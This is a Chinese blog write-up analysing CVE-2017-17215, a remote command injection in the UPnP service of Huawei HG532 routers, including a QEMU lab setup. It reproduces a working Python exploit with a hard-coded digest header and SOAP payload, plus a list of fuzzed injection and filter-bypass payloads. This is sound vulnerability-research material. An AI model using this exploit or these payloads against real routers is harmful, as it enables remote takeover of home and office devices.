CVE-2017-17215 Huawei Command In

2023-01-04  本文已影响0人  doinb1517

漏洞简介

CheckPoint报告华为HG532产品存在远程命令执行漏洞,华为HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品,经过身份验证的攻击者可以将恶意数据包发送到端口 37215 以发起攻击。成功利用可能导致远程执行任意代码。

1.png

漏洞分析

下载漏洞固件

link:https://github.com/ray-cp/Vuln_Analysis/find/master

2.png

binwalk提取出squashfs文件系统,查看架构发现是mips32位大端程序

3.png

找到个EXP如下

Link:https://github.com/ray-cp/Vuln_Analysis/blob/master/CVE-2017-17125-HG532-Huawei-Command-Injection/exp.py

#Filename: exp.py
#Data: 2019-04-14:
#Author: raycp
#Description: exp for CVE-2017-17125


import requests 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox mkdir shell;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.204.145:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

可以看到是跑在37215端口的upnp服务造成的,直接找到upnp服务放进IDA中开始分析

4.png

二进制文件在bin目录下,etc目录下存了很多xml,找到一个DevUpg.xml

4.png

查找字符串NewDownloadURL,只找到一处引用

4.png

可以看到很明显的命令注入,猜测函数ATP_XML_GetChildNodeByName是从XML中解析参数,当这两个参数同时存在时拼接命令并执行命令。

查看交叉引用,发现类似虚表,关于g_astActionArray有三处关键引用

7.png

查看

7.png

继续查看交叉引用,发现函数ATP_UPNP_RegDeviceAndService(),这里的作用是注册设备和服务,发现了两个服务。一个是更新设备,一个是更新配置。

7.png

再看函数UPnPGetActionByName

10.png

发现看不懂,看函数名猜测函数作用应该是通过函数名确定执行函数。继续向上查看交叉引用

找到函数sub_40A9C8,这个函数可以使得访问/ctrul/服务名访问对应的服务

11.png

函数UpnpGetServiceByUrl通过url获取服务,将将服务名_index拼接

14.png

同时函数sub_409AB4函数是写response的数据

12.png

继续向上搜索交叉引用,是sub_40B5B4,这个函数主要是定义一些ssdp协议的返回数据逻辑

13.png

继续向上查看交叉引用,分别是ATP_UPNP_Initmain,分析到这里调用链比较清晰了

main -> ATP_UPNP_Init -> sub_40B5B4 -> sub_40A9C8 -> UPnPGetActionByName

漏洞环境搭建

使用qemu system搭建漏洞环境,下载镜像

https://people.debian.org/~aurel32/qemu/mips/

15.png

运行下面的网络设置脚本给网口br0分配ip

#! /bin/sh
sudo brctl addbr br0 //创建网桥br0
sudo brctl addif br0 ens33 //连接到ens33
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
//给该网桥分配IP地址,此前不能给ens33分配ipv4的地址
 
sudo tunctl -t tap0 -u root
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo brctl showstp br0

查看Ubuntu网络,这时ubuntu也是可以访问外网的。

16.png

开启qemu虚拟机,使用root/root登陆系统,这时qemu有网络且可以访问外网

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
17.png

使用scp指令,把文件系统都传递给qemu虚拟机

scp -r squashfs-root root@192.168.146.137:~/sqashfs-root

挂载devproc

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc

新建ssh链接到qemu虚拟机,然后改变目录,运行upnp和mic服务(这里用ssh很重要,如果在原来qemu的shell执行命令,运行完mic会让eth0网卡掉,没有ip,再使用ssh也就连不上了)

19.png

查看端口确定两个服务正常执行

21.png

这时查看qemu的ip,这时发现ip被改为了192.168.1.1

20.png

为了方便外部访问web页面,用ifconfig将eth0接口的ip改成原来的(我这边是192.168.204.145)。使用exp创建success目录,可以看到命令执行成功

22.png

流量特征

pcap.png

经过尝试使用以下payload也可执行成功

<NewStatusURL>|/bin/busybox mkdir success|</NewStatusURL>
<NewStatusURL>||/bin/busybox mkdir success||</NewStatusURL>
<NewStatusURL>; /'b'in/busybox mkdir success; </NewStatusURL>
# 插入大量垃圾数据 绕过
<NewStatusURL>|jsjidshijkijuhugyugfygftyfytftyftyf|/bin/busybox mkdir success|</NewStatusURL>

编写rce fuzz脚本进行fuzz又找到以下的payload

index:13 payload:`/bin/busybox mkdir success13`
index:16 payload:;/bin/busybox mkdir success16|
index:19 payload:|/bin/busybox mkdir success19|
index:21 payload:||/bin/busybox mkdir success21|
index:22 payload:||/bin/busybox mkdir success22;
index:23 payload:|/bin/busybox mkdir success23;
index:24 payload:||/bin/busybox mkdir success24||
index:3 payload:;/bin/busybox mkdir success3;
index:58 payload:, `/bin/busybox mkdir success58`
index:59 payload:| `/bin/busybox mkdir success59`
index:61 payload:; `/bin/busybox mkdir success61`
index:64 payload:, `/bin/busybox mkdir success64` #
index:65 payload:| `/bin/busybox mkdir success65` #
index:66 payload:; `/bin/busybox mkdir success66` #
index:73 payload:a;/bin/busybox mkdir success73;
23.png

并且将payload放在<NewDownloadURL>同样可以执行命令

<NewDownloadURL>; /'b'in/busybox mkdir success; </NewDownloadURL>
上一篇下一篇

猜你喜欢

热点阅读